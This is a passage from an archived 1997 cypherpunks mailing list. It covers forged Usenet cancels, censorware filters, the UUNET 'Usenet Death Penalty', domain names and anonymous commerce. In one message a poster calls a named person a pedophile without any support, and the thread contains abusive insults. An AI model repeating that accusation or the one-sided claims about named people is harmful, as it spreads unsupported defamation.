The current top "spam canceller", Rich Bland ("cosmo") is an admin of a tiny
little BBS in California - probably fewer users than mine. The previous top
"spam canceller" - Rick Buchanan - was just a user, whose actions were condonded
by the admins of the several systems he used to forge cancels. (He only had
his plug pulled by one ISp I know of.)

Most of the people who scream about their "hatred of spam" on news.* are not
admins, but fairly recent users who figure that "fighting spam" is a cool thing.

Thing is hardly relevant - anyone can easily set up their own site and become
its admins.  I was just pointing out that it's factually incorrect to use
"admins" as a synonym for "anti-spammers".  Many admins are pro-free speech.
> 
> >> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> >> s/he often diversifies into "retromodetration"
> >
> >There is little proof that this is the case.  Even the netscum case could
> >have been considered spam.
> 
> What the fuck is "the netscum case"?

I think David is referring to the recent case of content-based cancels forged
by Chris Lewis for severa articles whose only thing in common was the mention
of Chris lewis's Net.Scum page.  

This is just one of dozens of such examples.  Chris Lewis and Dave Barr obth
forge cancels for usenet articles that follow up on their articles and quote
them, claiming "copyright violations".  Interestingly, Dave Barr is one of the
moderators of news.admin.net-abuse.announce.  When that newsgroup was up for
a vote, its charter said (don't know why) that its moderators aren't supposed
to issue third party cancels.  So much for moderated newsgrou charters. :-)

> 
> >
> >[...]
> >
> >> > Not even forgeries in my name?  Not even out of the control spews from
> >> > fidonet?
> >> 
> >> Correct.
> >
> >Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> >posts into usenet you don't wish them to be removed from usenet?
> 
> The motherfucker can remove them himself, send him a note. But after 
> they've already hit our servers and we've already read them it doesn't 
> make much of a difference now does it? We've got to receive repeated 
> blasts of forged cancels ten times the number of the offending posts?

Once the offending articles are part of the spool on toher site, it's pointless
for me to issue cancels. Note that both have happened: both I and my wife have
been forged numerous times on usenet, and there have been spews from this site.
I don't think that trying to remove them from spool is a proper thing to do
whether or not my site ogirinated them.  I do think it's polite to try to
let people know that these articles are forged/obsolete/posted in error and
should be ignored.  That was the original purpose of the cancel control
articles in RFC 1036 - I post a "car for sale" ad, I sell the car, I don't
want to get any more replies, I cancel it. Problem is, the cancels in RFC
1036 were unauthenticated - relied on honor, and too many people on Usenet
have no honor are aere eager to forge other people's e-mail addresses on
their cancels.

As I discussed with David in private mail, a "retraction server" that would
announce forgeries, spews, etc would be a useful thing.
> 
> You're really not very bright are you David?

Just misguided.  
> 
> >Nor if I post a message with your name and email, saying "Chris Lewis the
> >best thing that happened to usenet and I wish to have his baby."
> 
> A simple "I didn't write that" shall suffice.

I recall how a couple of years ago Peter Vorobiev forged a bunch of articles
in my name all over Usenet, and I posted an announcement to that effect
on news.admin.net-abuse.misc, and got some very obnoxious e-mail from Tim
Skirvin saying it's off-topic.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 4 Aug 1997 16:17:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the
Message-ID: <199708040810.RAA13649@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:42 97/08/04 EST, TruthMonger wrote:

>   Sure, quit before we even have a chance to use the cheap shots we've
> thought up since our last posts. Spoilsport.

> > Tim, you're in my killfile now too so I'm not going to respond directly to
> > your comments.
> 
>   Me neither. I'm going to use email.

OK. I was trying to not-so-elegantly back out of the big hole I dug for
myself.
To be completely honest, I am fascinated (I don't know if this is the right
word
here...) by this discussion and if we were f-t-f I would probably still be
engaged
but I find Tim's arguments too deep to write off, but I find myself without
enough
time right now to engage with my full attention...and if I don't give this my
full
attention, I'm sure I'll lose... so, I gave up... for now. I'll formulate my
thoughts
and next time, I'll think before I write. Maybe I'll wait for a chance to take
a
stab at Tim later on.


At 00:44 97/08/04 -0500, Jim Choate wrote:
> Forwarded message:
> 
> > Date: Sun, 3 Aug 1997 22:02:24 -0700
> > From: Tim May <tcmay@got.net>
> > Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth

> > Any journalist in Europe or in the U.S. would be seen as having
irreparably
> > compromised his journalistic objectivity by serving on such a panel! And
> > properly so, of course.
> 
> As long as they were representing their personal opinions and not acting as
> a journalist (ie being paid by a 3rd party) and they disclose the action
> there would be compromise on objectivity.

Jim, I hope you meant to say "wound not be compromising" in the above
statement.
This may sound like an afterthought, but one of the reasons that I did
such a stupid thing as post my association with a police study group 
here was as a part of being very open about what I was doing and
trying to ask for advice on that basis. Also, FYI, I am not being paid
by the government or any 3rd party. I am not a "consultant" to the
government. I am an "outside expert". I am not representing the police
to the people of Japan, I am trying represent the peoples' interest to
the government... but I'll stop now before I get bashed again.

- Joi



--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 5 Aug 1997 08:46:53 +0800
To: cypherpunks@toad.com
Subject: "Censor's Sensibility" on censorware & ratings, from Time
Message-ID: <Pine.GSO.3.95.970804171516.2732E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------

http://pathfinder.com/time/magazine/1997/dom/970811/business.censors_sensi.html

TIME MAGAZINE

AUGUST 11, 1997
VOL. 150 NO. 6
BUSINESS
   
CENSOR'S SENSIBILITY 
Are web filters valuable watchdogs or just new online thought police?
  
BY MICHAEL KRANTZ 
   
   Seeking to protect fellow citizens from depravities ranging from TV
   violence to rap lyrics, from Uncle Tom's Cabin to Howard Stern, some
   Americans have always had a hard time restraining themselves from
   trying to circumvent the First Amendment. And the World Wide Web, with
   its infinite plenitude of pro-Satan home pages and SEXY NUDE BABES!
   sites, has more, um, free speech in need of protection than any medium
   in history. As lurid tales of online obscenity seep into America's
   consciousness, a variety of Internet sentinels have volunteered their
   services.
   
   Or was that Internet censors? What one group claims as guardianship of
   public morality strikes another as unconscionable, not to mention
   unconstitutional, interference. In June the Supreme Court slapped down
   the Communications Decency Act (CDA), which prohibited the posting of
   "indecent" material over the Net. This decision in turn has created a
   hot market for products that derisive Net-heads call
   "censorware"--such software filters as CyberPatrol, NetNanny and
   SurfWatch ($29.95 to $39.95) that offer to help nervous parents keep
   inappropriate material from prying but underage eyes.
   
   Just what is inappropriate is a messy issue, as citizens of Loudoun
   County, Va., a conservative enclave northwest of Washington, can
   attest. Last month, after six public hearings and over the objections
   of library staff, the county library board adopted the region's most
   restrictive Internet-access policy. Henceforth, the library will arm
   its computers with filters to censor obscene sites--the definition of
   obscenity, of course, being largely up to whichever filter Loudoun
   County ends up deciding to buy. Adults who want to cruise the Net sans
   filter will have to ask the librarian to call off the watchdogs;
   children under 17 will be able to do so only if accompanied by an
   adult. "The issue is whether pornography will get into the library,"
   says board president John Nicholas. "Our task is to protect our
   children."
   
   A more politically fireproof sentence has yet to be conceived by
   mortal man. On the surface the policy seems reasonable, given the
   prevalence of offensive sites and the ease with which even a novice
   Web surfer can find them (though most porn sites these days can't be
   accessed without a credit card). But free-speech advocates call
   censorware a cure worse than the disease. Filtering programs block Web
   pages in one of two ways. The more primitive method is to search for
   key words in the pages' titles, a system with all the subtlety of a
   Gatling gun. America Online, for instance, once banned the word breast
   from some areas of its service, which outraged breast-cancer sufferers
   locked out of their bulletin boards. And SurfWatch legendarily banned
   sites featuring the word couples, only to discover that that word
   appears on the White House's official site.
   
   A better method is to study individual sites--yes, that means hundreds
   of thousands of them, one at a time--and then place them on yes or no
   lists that can be updated as new pages pop up in the Web's endless
   sprawl. A program called CyberPatrol identifies 12 categories of
   troublesome material (violence, profanity, sexual acts and so on) that
   parents can block at their discretion. The software can also be
   adjusted for different age groups. "My six-year-old son doesn't need
   to know how to put on a condom," says CyberPatrol spokeswoman Sydney
   Rubin. "But I'll sure want him to know when he's 13."
   
   Opponents say the filter companies' banned lists can also reflect
   ideological biases. CyberSitter, the most aggressively conservative
   filtering program, is infamous for blocking access to the National
   Organization for Women's Website as well as entire Internet providers
   like Echo, New York City's oldest online community. Gay-themed
   sites--big surprise--suffer mightily. CyberPatrol blocks the Queer
   Resources Directory; CyberSitter bans the alt.politics.homosexual
   newsgroup; SurfWatch blocks ClariNet's AP and Reuters articles about
   AIDS and HIV.
   
   If conservative parents want software that will censor any Website
   that the Rev. Jerry Falwell wouldn't say amen to, that's their
   privilege. But free-speech proponents say customers looking for
   ideology-free screening might not be aware of how much they're
   missing. Censorware produces unpredictable and often unwanted results
   (see box), and most filterers consider their blacklists trade secrets.
   This puts Loudoun County in the position of letting private firms pass
   judgment on the contents of a medium that's supposed to offer easy
   access to all--a notion that's especially dubious in the case of the
   "free public library," Internet provider of last resort for those who
   can't afford a computer. "We serve the information needs of the whole
   community," says Judith Krug, director of the American Library
   Association's Office for Intellectual Freedom. "Identifying one
   standard for everyone violates the rights of everybody else."
   
   Such First Amendment echoes make even conservative Congressmen
   nervous. "I endorse the notion of filtering devices at home," says Bob
   Goodlatte, a pro-CDA Republican Representative from Virginia, "but
   there's certainly a legitimate debate as to how to do it in libraries
   without introducing a major form of censorship."
   
   There are, however, minor forms, including asking the Websites to rate
   their content "voluntarily." Chris Hansen, senior staff counsel for
   the American Civil Liberties Union, is particularly disturbed by the
   growing political support for self-censorship. "Rating systems may
   work, however badly, in TV or movies, where there are relatively few
   programs and armies of lawyers," he says. "But with E-mail, chat rooms
   and newsgroups, the sheer volume is overwhelming."
   
   Nonetheless, self-censorship is starting to look like the wave--or at
   least one very big wave--of the future. Microsoft's Internet Explorer
   Web browser already includes a ratings program called RSACi. It has
   emerged as the leading Net-rating system that allows Web proprietors
   to rate their own sites instead of letting NetNanny and SurfWatch
   employees pass judgment for them. And rival Netscape, bowing to
   pressure from the White House at last month's censorware summit (Bill
   Clinton, predictably, loves ostensibly family-friendly software
   filters), has agreed to use rating systems in the next version of its
   browser. Even news organizations, whose free-speech obsession borders
   on the fanatic, are rating themselves (see THE NETLY NEWS). The
   Webmasters' private initiative, though, may not cool legislative ardor
   for rewriting the cda. Neither filtering software nor self-rating is
   sufficient to clean up the Net, in the view of Senator Dan Coats of
   Indiana. Filters are "a good first step," he says, but "it's a tax on
   the family--the innocent family." Of course, the same could be said
   for clear-cutting the Web's forests of unfettered speech.
   
   --Reported by Declan McCullagh and Bruce van Voorst/Washington
   
     _________________________________________________________________
                                      
   BUSTED!
   Some surprising sites get trapped in the filters
   
   (www.heritage.org/heritage/) The Heritage Foundation
   (www.mit.edu/activities/safe) M.I.T. free-speech society
   (news:clari.tw.health.aids) Reuters articles about AIDS
   (www.odci.gov/) U.S. Central Intelligence Agency
   (www.cs.cmu.edu/~spok/banned-books.html) Banned-books archive
   (www.now.org/) National Organization for Women
     _________________________________________________________________
                                      
Related articles:

http://pathfinder.com/time/magazine/1997/dom/970811/business.the_pres_muzl.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:38:26 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970802103954.106I-100000@shirley>
Message-ID: <59kXae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> > You're not very bright are you David?
> 
> Haveing trubble working out what this line is,  as a flame it is limp
> wristed, as a rebuttle it is pathtic.

Our frustration with the Cabal supporters is understandable.

> > >There is little proof that this is the case.  Even the netscum case could
> > >have been considered spam.
> > 
> > What the fuck is "the netscum case"?
> 
> Boursy or Grubour (I've forgotten wich one) keeped posting an add for
> Chris Lewis' netscum post.  Chris Lewis desidered that thay where
> substatuly identical and canceled them.

Pedophile Chris Lewis is a content censor.  There are dozens of other examples.
For example, see the Net.Scum pages for Nat Makarevitch or Michael Martinez,
both of whom arbitrarily declare some article "spam" and forge cancels dfor it.

> > >Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > >posts into usenet you don't wish them to be removed from usenet?
> > 
> > The motherfucker can remove them himself, send him a note.
> 
> Since Dr Vulis is the newsadmin of that site, the question is quite valid.

I would not issue cancels in either case.  I would like to be able to tell
the rest of Usenet that these articles are not worth reading, and that I
have sifficient authority to say so (by having my e-mail address in the
from: field or being the local admin).  I wouldn't want to delete them from
anyone's spool, though.

> 
> > But after 
> > they've already hit our servers and we've already read them it doesn't 
> > make much of a difference now does it?
> 
> Frees up diskspace + reducers propragtion.  May be a good thing.

A spew spreads to almost all the servers there are in minutes. Cancels for
a spew waste more bandwidth and cpu time than ignoring it.

> 
> > We've got to receive repeated 
> > blasts of forged cancels ten times the number of the offending posts?
> 
> Ergh?  There is only one cancel per post.

Were you around when Ausralia was knocked off the net by the cancels for the
Cantor and Siegel "spam"?  Most of the forgers didn't follow the "$alz"
convention (giving the forged cancel the message-id "cancel.<original id>".

> 
> > >Nor if I post a message with your name and email, saying "Chris Lewis the
> > >best thing that happened to usenet and I wish to have his baby."
> > 
> > A simple "I didn't write that" shall suffice.
> 
> Realy how about "Post to me your corefile for free porn."?

How about me posting under my own name, "E-mail your core file to Platypus
for some free porn"?

How about me posting under my own name or via an anonymous remailer, "Platypus
is a spammer - complain to his ISP"?

Would you be justified in forgin cancels for these?

How about if someone posted your credit card numbers to Usenet?
Would you be justified in forging cancel for that?
> 
> > And when your content to mail lists is a 
> > fifth the size of your 16-line .sig, you're doing something wrong.
> 
> My sig is four lines long.  I know there is also the overhead of the pgp
> signing but atleast its not smime.

I don't have an issue with anyone's .sig, especially Dr. Fomin's, but
Net.Scum like Chris Lewis might use this as an excuse to declare your
writings "spam".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 5 Aug 1997 14:07:10 +0800
To: cryptography@c2.net
Subject: [ANNOUNCE] Another Bay Area August Cypherpunks Meeting - Mountain View
In-Reply-To: <3.0.2.32.19970802120325.006985f4@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970804173808.00777da0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:03 PM 8/2/97 -0700, Lucky Green wrote:
>This month's SF Bay Area Cypherpunks meeting will take place at a new
>location. Please pay close attention to the directions.
>Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]
>The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

For those who aren't that HIP or Beyond HOPE, or are otherwise still in 
Western North America, Another SF Bay Area Cypherpunks Meeting will take 
place in Mountain View, at Printer's Ink on Castro Street.
Besides the usual Cypherpunks topics, the program will include the
	Small Brewers' Festival http://www.smallbrewersfest.com/
which will be taking place that day in Mountain View.
(An extremely serious program is anticipated, potentially followed by
The Reptiles and Jerry's Kids in Redwood City that night.)

If anybody brings a Metricom modem, we can try to connect with the
Netherlands meeting by PGPfone or the HIP'97 VRML server;
please let me know if you plan to bring one so we can conspire
about connectivity.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 20:11:58 +0800
Subject: Re: no government regulation of the net (was Re: bulk postage fine)
In-Reply-To: <199708031023.LAA00663@server.test.net>
Message-ID: <Pine.LNX.3.93.970804173405.705A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997, Adam Back wrote:

> David Formosa <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
> > Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

[...]

> Government backed legal systems are inefficient.  A purely anonymous
> transaction where both parties identity is well concealed is much more
> efficient.

I have truble seeing this working protocol wise,  what is to stop me
taking the money and running (or the product and running).  For some
things such as text and grafics it is possable to use a bye a bit type
protocol.  But for something like the password to the GAK database you
would have have trubble negosating the protocol without someone getting
ripped off.

>  There is no one to sue.  Fighting legal suits is expensive, especially
> in the US.

[...]

> Third party arbitrators holding with a copy of
> the contract, a deposit from each party in escrow, and a reputation as
> a fair arbitrator is much more efficient.

So the escrow agent will get sued instead of you. These agents will have
to pay massive insurance rates and thuse be very expencive to use.

There seems to be an underlieing object of this schem to screw the lawers.
While this is a wounderfull aim I don't think that this schem will do it
as most escrow agents are lawers or soliciters.

> It'll probably help if the arbitration service is anonymous also,

I don't see how you can mainige the joint targets of anonymousaty and
reputation in this schem.  I would be interested if you can.

[...]

> > The spammers if there advertising a servese will need someway for me to
> > contact them.  Some way for me to get the goods.  Just anonomising the
> > email will not hide there identy.  
> 
> True.  But how do you prove to one of these inefficent government
> courts that it is indeed the spam beneficiary who posted the spam.

Look at there email logs, paychecks to Spamford ect in the discovery
phase.

[...]

> > Any way pushing spammer email though most email remailers will cause
> > them to crash from sheare volume.
> 
> That's also not a good thing.

I didn't say it was.  Most likely the anon-admins will make use of
throtelers to stop e-spaming (I beleave thay do this for mail bombs)

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+WKCKQK0ynCmdStAQFFrAP6AiPB4m2TfUb8k2TZOIQRbeb0N1KakLas
CaQ1IxbbTH6DA6qnVMK4zTJPmIyoMP4y/mkastSTrv9SAD5bXh2jv3zLdfgw96bi
626dadBoQEU/ymp5Iftd4T+OduQwhMzLZLD+lvRJYCJWjX343PISRZ14NtR3PmSV
JWUr1m6wpsE=
=e4wp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 20:40:27 +0800
Subject: Re: spam is good for you
In-Reply-To: <199708031314.PAA13935@basement.replay.com>
Message-ID: <Pine.LNX.3.93.970804181221.705C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Zooko Journeyman sez:
 
[...]
: My favorite 
: slogan so far is "I may disagree with every spam you send, but
: I will defend to the death your right to spam it. --Voltaire".

I may disagree with every spam you send, and I'm not going to fucking pay
for it.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+WPX6QK0ynCmdStAQFaTQP/X8JvveIds7+jsI8tpoHXdA9jWzRzEO+c
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YviNz2bhpHPXZzEIaAgLb8vwI9YJgqH1BrIjwIarrJyea2QqxwlXV8L2rDSSzSUT
AWCjb4YsXSM=
=CZmA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 20:40:41 +0800
Subject: Re: The Poor in Spirit
In-Reply-To: <3.0.2.32.19970803102828.0076fa60@panix.com>
Message-ID: <Pine.LNX.3.93.970804181548.705E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997 frissell@panix.com wrote:

> In a free society, the "poor" have more money (collectively) than the rich
> and outbid them for resources all the time.  Were this not so, communities of
> the "poor" would never increase in size and yet they do.

Death must be popular, everybodies doing it.  If the poor where infact
powerfull thay would be less poor peaple not more.

> I can teach a poor person in America today the simple ways to triple or
> quadruple his income.

Attach your name to the end of this list and forward it to 5 others, in a
few days you will be rolling in cash.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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DinHXQjd9hvozEAGijVU4gAvkOrLRZjkoW4a0ZQReHy3TPZc6IAa8qiCsFZXcCPQ
+VI5R6bMsRE=
=UPYn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 5 Aug 1997 09:19:22 +0800
To: cypherpunks@Algebra.COM
Subject: cta983.htm
Message-ID: <199708050109.VAA13348@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1]Score big with your contacts. Click here for ACT!3.0
   
  U.S. government stepping in to sort out Net domain names
  
   WASHINGTON - Concerns about the future of how Internet domain names
   will be managed got an airing during a two-day forum last week. But
   how those concerns may get addressed remains unresolved.
   
   The domain name issue has drawn a lot of attention lately. The company
   that has a virtual monopoly on popular names, Network Solutions Inc.
   (NSI), has been notified that it will not have its contract renewed in
   April 1998. Many say that will bring much needed competition.
   
   Recently, the Clinton administration has gotten involved in the issue
   on various levels. The Justice Department is investigating NSI's role
   as a primary domain name registrar.
   
   Beyond that, the Departments of Commerce and State are looking into a
   plan, issued three months ago by the Internet International Ad Hoc
   Committee (IAHC), that would increase the amount of domain names
   (designations such as .com and .org) used on the Internet. The plan
   also expands the worldwide management of those names so that up to 28
   new registrars may be added.
   
   The administration's involvement came after many businesses complained
   about the proposed plan's lack of protection for trademark and
   intellectual property rights.
   
   A two-day forum to address such concerns was held here Wednesday and
   Thursday. Sponsored by the Information Technology Association of
   America and other Internet groups, it was attended by representatives
   of the Clinton administration, businesses and advocates. "We have to
   keep the Internet community talking," says ITAA president Harris
   Miller.
   
   Domain names are essentially addresses for the Internet. Companies,
   agencies or groups apply for an individual address within such domains
   as .com, .gov, or .org. As use of the Internet has grown, companies
   have put increasing importance on obtaining and protecting domain
   names related to their companies.
   
   When entities apply to NSI, it charges $100 to register new addresses
   for two years and $50 annually to renew them. NSI then finds an
   Internet number, just like a telephone number, to correspond with the
   domain address.
   
   Many have complained about NSI's inability to quickly provide domain
   registrations. In its proposed stock offering, NSI says it is
   cooperating with the Justice Department inquiry. And at the forum, NSI
   CEO Gabe Battista said that sharing management of .com, .net and .org
   domains was "on the table."
   
   The U.S. government has nurtured the Internet to its present strapping
   status from its birth in 1969 as the Defense Department's Advanced
   Research Projects Agency network. "We're very anxious to support its
   transition to full-fledged adulthood," says Commerce Department
   spokesperson Becky Burr. "But we don't just let our children grow up
   and do whatever they want."
   
   The Internet community usually seeks to avoid government intervention,
   but so far, U.S. government's actions have been met with approval.
   Among complaints about the international plan is that it did not have
   adequate participation by Internet service providers or groups
   representing individual citizens, plus it gives too much power to the
   Geneva-based International Telecommunication Union.
   
   "Our customers are not well-served by (the plan's) rapid resolution,"
   says William Schrader, president of PSINet, a large commercial
   Internet service provider. "The government has held back on purpose.
   But there is a time governments can assist, and this is one of those
   times."
   
   The State Department has asked for more information on the Geneva
   agency's role in the management of proposed new domains, among them
   .firm, .rec and .web. The Commerce Department takes public comments
   until Aug. 18.
   
   The Ad-Hoc Committee continues its plan and is taking registrar
   applications. But, says committee member Dave Crocker, an Internet
   e-mail pioneer, "We'll all keep talking."
   
   By Mike Snider, USA TODAY
     _________________________________________________________________
   
     * [2]Go to High-tech index
     * [3]Go to Life Front
     * [4]Go to Lifeline
     * [5]Go to Money Front
     * [6]Go to Moneyline
     * [7]Go to News Front
     * [8]Go to Nationline
     _________________________________________________________________
   
     * [9]Go to Web Traveler
       
   [10][ISMAP]
08/04/97 - 09:58 AM ET - Click reload often for latest version

References

   1. http://www.usatoday.com/cgi-bin/redir?SpaceID=104&AdID=913&URL=http://www.symantec.com/promos/act06.html
   2. http://www.usatoday.com/life/cyber/tech/ct000.htm
   3. http://www.usatoday.com/life/lfront.htm
   4. http://www.usatoday.com/life/digest/ld1.htm
   5. http://www.usatoday.com/money/mfront.htm
   6. http://www.usatoday.com/money/digest/md1.htm
   7. http://www.usatoday.com/news/nfront.htm
   8. http://www.usatoday.com/news/digest/nd1.htm
   9. http://www.usatoday.com/life/cyber/cyber1.htm
  10. http://www.usatoday.com/maps/botrib.map





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 5 Aug 1997 10:33:18 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-TECH-9708-04-internet.spam.reut-
Message-ID: <199708050220.VAA01661@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner IBM Reinventing Education 
   
     rule
     
                    SPAMMING LEADS TO UUNET 'DEATH PENALTY'
                                       
      Spam graphic August 4, 1997
     Web posted at: 9:34 p.m. EDT (0134 GMT)
     
     SAN FRANCISCO (Reuter) -- A loose coalition of system administrators
     Friday began issuing a "Usenet Death Penalty" against UUNET, a major
     Internet service provider, for its alleged failure to curb "spam"
     emanating from its dialup accounts.
     
     The penalty took effect 5 p.m. (PDT) Friday, and according to a
     release from the coalition, "all traffic coming from these sources
     is to be canceled until further notice."
     
     The penalty entails the use of a program called a cancelbot that
     travels from site to site, looking for newsgroup messages that
     originate from a particular person or ISP. When it finds one of the
     messages, it issues a cancel order, which effectively erases the
     message.
     
     Spamming is the bulk delivery of unwanted electronic messages via
     e-mail or newsgroups.
     
     The action marks the first time a large-scale ISP has been the
     target of a cancelbot. The penalty's purpose, said Dennis
     McClain-Furmansky, is to "mobilize the user base and get them to
     insist on their ISP to give them a clean feed. Right now they are
     paying $20 a month for trash."
     
     McClain-Furmansky, speaking on behalf of the Usenet death penalty
     issuers, explains that, unlike other ISPs such as EarthLink and Bell
     Atlantic, UUNET has done little or nothing to curb spammers using
     its service. "The few responses they've made to our complaints have
     been excuses," he said.
     
     After Bell Atlantic was informed by site administrators several
     weeks ago that it had been targeted for the Usenet death penalty,
     the service took immediate action to halt spam, McClain-Furmansky
     said. "We told them what was being planned, and they are making a
     clear effort."
     
     McClain-Furmansky said that the action was drastic, but it was a
     last resort to close off a flood of spam that was "knocking servers
     offline." On Friday, one of the administrators involved said his
     system processed 1 million messages for the first time ever. Forty
     percent of that was spam, 40 percent cancel messages, 20 percent
     legitimate traffic." About half the cancel messages issued are for
     spam originating from UUNET dialups, said McClain-Furmansky.
     
     "In my opinion, this is by far the worst censorship action the Net
     has seen to date," said Dave Hayes, who represents a group called
     the Freedom Knights, dedicated to "true free speech" on Usenet.
     
     Hayes said those pushing the death decree should be "summarily
     condemned by all those who are in support of free speech, which
     unfortunately includes unsolicited advertising."
     
     Brian Moore, a system administrator in Britain who oversees the
     Usenet feed for his site, said he is not surprised that the action
     was taken against UUNET. "Amongst the 50-some complaints I have sent
     them in the past week, I have received nothing but form letters
     back. The spamming customers continue spamming and there is no
     indication UUNET has acted in any way at all."
     
     Moore said he has canceled hundreds of porn spams appearing in
     alt.sexual.abuse.recovery. "Quite frankly, UUNET is irresponsible in
     their inability to control their own customers," he said.
     
     UUNET declined comment Friday.
     
     Copyright 1997 Reuters Limited. All rights reserved. 
     rule
     
  Related sites:
  
     Note: Pages will open in a new browser window
     * UUNET Global Homepage
     * The Anti-Spam Project
     * Internet Spam Haiku Contest
     * Internet Spam Control Center
       
     
     
     External sites are not endorsed by CNN Interactive.  Search for
     related CNN stories:
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     Tip: You can restrict your search to the title of a document.
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   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 5 Aug 1997 13:14:49 +0800
To: Ernest Hua <cypherpunks@toad.com
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <3.0.32.19691231160000.0073303c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



shit - the SJ Merc. reported he'll just veto the legislation, plain and
simple.

At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>
>Does anyone have any idea whether Clinton's threat of using the
>line-item veto against portions of the big spending bill could
>be leverage against some pro-SAFE legislators?
>
>Ern
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 05:27:57 +0800
To: cypherpunks@toad.com
Subject: Ponzi Schemes (was Re: non-censorous spam control)
Message-ID: <199708042057.WAA23756@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vulis wrote:

>A similar scheme in Russia by an organizaton called "MMM", run 
>by the Mavrodi bothers, left a large number of "investors"
>holding the bag. Interestingly, one of the Mavrodi brothers
>is now in Russian jail (awaiting trial), and the other one is
